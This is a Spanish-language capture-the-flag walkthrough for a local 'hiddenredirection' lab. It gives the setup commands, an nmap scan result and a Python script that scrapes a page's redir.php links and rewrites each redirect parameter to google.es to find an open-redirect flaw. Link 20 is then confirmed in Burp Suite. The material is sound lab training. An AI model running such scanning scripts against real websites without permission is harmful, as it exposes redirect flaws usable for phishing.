Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipbugbountylabs_hiddenredirection.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
python3bugbountylabs_hiddenredirection.py
Info:
██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███╗ ██╗████████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
██╔══██╗██║ ██║██╔════╝ ██╔══██╗██╔═══██╗██║ ██║████╗ ██║╚══██╔══╝╚██╗ ██╔╝ ██║ ██╔══██╗██╔══██╗██╔════╝
██████╔╝██║ ██║██║ ███╗ ██████╔╝██║ ██║██║ ██║██╔██╗ ██║ ██║ ╚████╔╝ ██║ ███████║██████╔╝███████╗
██╔══██╗██║ ██║██║ ██║ ██╔══██╗██║ ██║██║ ██║██║╚██╗██║ ██║ ╚██╔╝ ██║ ██╔══██║██╔══██╗╚════██║
██████╔╝╚██████╔╝╚██████╔╝ ██████╔╝╚██████╔╝╚██████╔╝██║ ╚████║ ██║ ██║ ███████╗██║ ██║██████╔╝███████║
╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝
Fundadores
El Pingüino de Mario
Curiosidades De Hackers
Cofundadores
Zunderrub
CondorHacks
Lenam
Descargando la máquina hiddenredirection, espere por favor...
[########################################] 100%
Descarga completa.
La IP de la máquina hiddenredirection es -> 172.17.0.2
Presiona Ctrl+C para detener la máquina
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que tenemos un puerto 8080 en el que si entramos veremos exactamente 50 enlaces, nos indica que tendremos que descubrir cual de todos es vulnerable a un OpenRedirect.
Vamos a crearnos un script para ver que URL es la vulnerable:
detectURL.py
Ahora lo tendremos que ejecutar de la siguiente forma:
Info:
Vemos que el numero 20 es el vulnerable, por lo que vamos a probarlo de forma manual, abriremos BurpSuite y capturaremos la peticion dandole a al enlace del numero 20.
Veremos algo asi:
Ahora si le damos a enviar con google.es y volvemos a donde le dimos en la pagina veremos lo siguiente:
Vemos que ha funcionado, por lo que habremos terminado la maquina pudiendo haber explotado la vulnerabilidad de Open Redirect.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-20 07:46 CET
Nmap scan report for app.dl (172.17.0.2)
Host is up (0.000034s latency).
PORT STATE SERVICE VERSION
8080/tcp open http PHP cli server 5.5 or later (PHP 8.2.27)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Open Redirect Lab
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.71 seconds
import requests
from bs4 import BeautifulSoup
from rich.console import Console
from rich.table import Table
from urllib.parse import urljoin, urlparse, parse_qs
# Configuración de colores en la terminal
console = Console()
# URL objetivo (modifica con la URL del CTF)
TARGET_URL = "http://<IP>:8080/"
# User-Agent para evitar bloqueos
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36"
}
def obtener_enlaces():
"""Extrae todos los enlaces de la página objetivo."""
console.print("[bold cyan]📡 Escaneando enlaces en:[/bold cyan]", TARGET_URL)
try:
respuesta = requests.get(TARGET_URL, headers=HEADERS)
respuesta.raise_for_status()
soup = BeautifulSoup(respuesta.text, "html.parser")
# Extraer enlaces que contengan 'redir.php?'
enlaces = [urljoin(TARGET_URL, a["href"]) for a in soup.find_all("a", href=True) if "redir.php?" in a["href"]]
console.print(f"[bold green]🔍 Se encontraron {len(enlaces)} enlaces[/bold green]")
return enlaces
except requests.RequestException as e:
console.print(f"[bold red]❌ Error al obtener la página:[/bold red] {e}")
return []
def modificar_enlace(url):
"""Modifica la URL para intentar la redirección a Google."""
parsed_url = urlparse(url)
query_params = parse_qs(parsed_url.query)
if "redirect" in query_params:
query_params["redirect"] = ["https://google.es"]
new_query = "&".join(f"{k}={v[0]}" for k, v in query_params.items())
new_url = f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}?{new_query}"
return new_url
def probar_enlaces(enlaces):
"""Prueba cada enlace modificado y detecta Open Redirects."""
table = Table(title="🔗 Resultados del escaneo", show_lines=True)
table.add_column("ID", style="bold yellow", justify="center")
table.add_column("Enlace Original", style="bold cyan")
table.add_column("Enlace Modificado", style="bold magenta")
table.add_column("Estado", style="bold green", justify="center")
for i, link in enumerate(enlaces, start=1):
link_modificado = modificar_enlace(link)
try:
respuesta = requests.get(link_modificado, headers=HEADERS, allow_redirects=False)
if respuesta.status_code == 403:
estado = "[red]❌ Bloqueado (403)[/red]"
elif "Location" in respuesta.headers and "google.es" in respuesta.headers["Location"]:
estado = "[green]✅ VULNERABLE (Redirige a Google)[/green]"
else:
estado = "[yellow]⚠️ No redirige[/yellow]"
table.add_row(str(i), link, link_modificado, estado)
except requests.RequestException:
table.add_row(str(i), link, link_modificado, "[bold red]⚠️ Error[/bold red]")
console.print(table)
if __name__ == "__main__":
enlaces = obtener_enlaces()
if enlaces:
probar_enlaces(enlaces)